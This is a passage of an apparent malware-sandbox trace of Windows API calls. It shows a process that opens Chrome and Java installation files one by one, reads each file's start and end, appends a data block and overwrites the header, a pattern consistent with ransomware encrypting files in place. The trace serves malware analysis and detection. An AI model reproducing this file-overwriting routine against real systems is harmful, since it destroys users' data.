lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.643] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x41194 [0047.644] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.674] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x41194 [0047.674] WriteFile (in: hFile=0x1b0, lpBuffer=0x276c388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c388*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.674] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0047.674] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.674] CloseHandle (hObject=0x1b0) returned 1 [0047.675] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.675] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.675] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x665 [0047.675] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.675] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.675] ReleaseMutex (hMutex=0x128) returned 1 [0047.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="widevinecdm.dll.sig", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0047.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="widevinecdm.dll.sig", cchWideChar=19, lpMultiByteStr=0x1e789ec, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="widevinecdm.dll.sig", lpUsedDefaultChar=0x0) returned 19 [0047.675] ReadFile (in: hFile=0x1b0, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x665, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x2e0f2bc*=0x665, lpOverlapped=0x0) returned 1 [0047.717] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0047.717] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xbed, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2e0f2d0*=0xbed, lpOverlapped=0x0) returned 1 [0047.717] CloseHandle (hObject=0x1b0) returned 1 [0047.717] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\javacpl.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.717] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.718] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x105a8 [0047.718] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.718] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.718] ReleaseMutex (hMutex=0x128) returned 1 [0047.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="javacpl.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="javacpl.exe", cchWideChar=11, lpMultiByteStr=0x1e6326c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javacpl.exe", lpUsedDefaultChar=0x0) returned 11 [0047.718] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da83d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0047.730] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xf5a8 [0047.730] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da83d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.752] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xf5a8 [0047.753] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.753] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0047.753] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0047.753] CloseHandle (hObject=0x1b0) returned 1 [0047.753] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\pack200.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.754] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.754] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3da8 [0047.754] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.754] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.754] ReleaseMutex (hMutex=0x128) returned 1 [0047.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pack200.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pack200.exe", cchWideChar=11, lpMultiByteStr=0x1e62fcc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pack200.exe", lpUsedDefaultChar=0x0) returned 11 [0047.754] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da83d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.770] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2da8 [0047.773] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da83d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.804] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2da8 [0047.804] WriteFile (in: hFile=0x1b0, lpBuffer=0x1daa438*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1daa438*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.804] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0047.809] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da83d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.809] CloseHandle (hObject=0x1b0) returned 1 [0047.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\alt-rt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.810] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.810] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2a2dd [0047.812] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.812] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.812] ReleaseMutex (hMutex=0x128) returned 1 [0047.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="alt-rt.jar", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0047.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="alt-rt.jar", cchWideChar=10, lpMultiByteStr=0x1e62fec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alt-rt.jar", lpUsedDefaultChar=0x0) returned 10 [0047.812] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.826] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x292dd [0047.826] ReadFile (in: hFile=0x1b0, lpBuffer=0x261b6a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x261b6a8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.842] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x292dd [0047.842] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.842] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0047.842] WriteFile (in: hFile=0x1b0, lpBuffer=0x27fdcf8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27fdcf8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.842] CloseHandle (hObject=0x1b0) returned 1 [0047.843] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.843] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.843] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1068 [0047.843] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.843] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.843] ReleaseMutex (hMutex=0x128) returned 1 [0047.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.data", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currency.data", lpUsedDefaultChar=0x0) returned 13 [0047.843] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d708, nNumberOfBytesToRead=0x1068, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261d708*, lpNumberOfBytesRead=0x2e0f2bc*=0x1068, lpOverlapped=0x0) returned 1 [0047.875] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0047.875] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dab438*, nNumberOfBytesToWrite=0x15f0, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dab438*, lpNumberOfBytesWritten=0x2e0f2d0*=0x15f0, lpOverlapped=0x0) returned 1 [0047.876] CloseHandle (hObject=0x1b0) returned 1 [0047.876] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.876] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.876] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xd14 [0047.876] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.876] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.876] ReleaseMutex (hMutex=0x128) returned 1 [0047.876] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_pt_BR.properties", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0047.876] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_pt_BR.properties", cchWideChar=25, lpMultiByteStr=0x1e7fb1c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages_pt_BR.properties", lpUsedDefaultChar=0x0) returned 25 [0047.876] ReadFile (in: hFile=0x1b0, lpBuffer=0x1dab438, nNumberOfBytesToRead=0xd14, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dab438*, lpNumberOfBytesRead=0x2e0f2bc*=0xd14, lpOverlapped=0x0) returned 1 [0047.883] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0047.883] WriteFile (in: hFile=0x1b0, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x129c, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x2e0f2d0*=0x129c, lpOverlapped=0x0) returned 1 [0047.884] CloseHandle (hObject=0x1b0) returned 1 [0047.884] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\localedata.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.897] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.897] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xf790d [0047.897] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.897] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.897] ReleaseMutex (hMutex=0x128) returned 1 [0047.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localedata.jar", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0047.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localedata.jar", cchWideChar=14, lpMultiByteStr=0x1e6302c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localedata.jar", lpUsedDefaultChar=0x0) returned 14 [0047.897] ReadFile (in: hFile=0x1b0, lpBuffer=0x27f6cc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0048.129] ReadFile (in: hFile=0x1b0, lpBuffer=0x27f6cc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.152] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xf690d [0048.152] ReadFile (in: hFile=0x1b0, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.154] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xf690d [0048.155] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da9408*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da9408*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.344] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0048.346] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.346] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.347] CloseHandle (hObject=0x1b0) returned 1 [0048.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.379] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.379] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x12588 [0048.379] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.379] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.379] ReleaseMutex (hMutex=0x128) returned 1 [0048.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaBrightDemiBold.ttf", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0048.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaBrightDemiBold.ttf", cchWideChar=24, lpMultiByteStr=0x1e7fb4c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LucidaBrightDemiBold.ttf", lpUsedDefaultChar=0x0) returned 24 [0048.380] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0048.381] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x11588 [0048.381] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.382] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x11588 [0048.382] WriteFile (in: hFile=0x1b0, lpBuffer=0x2808d58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2808d58*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.383] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0048.383] WriteFile (in: hFile=0x1b0, 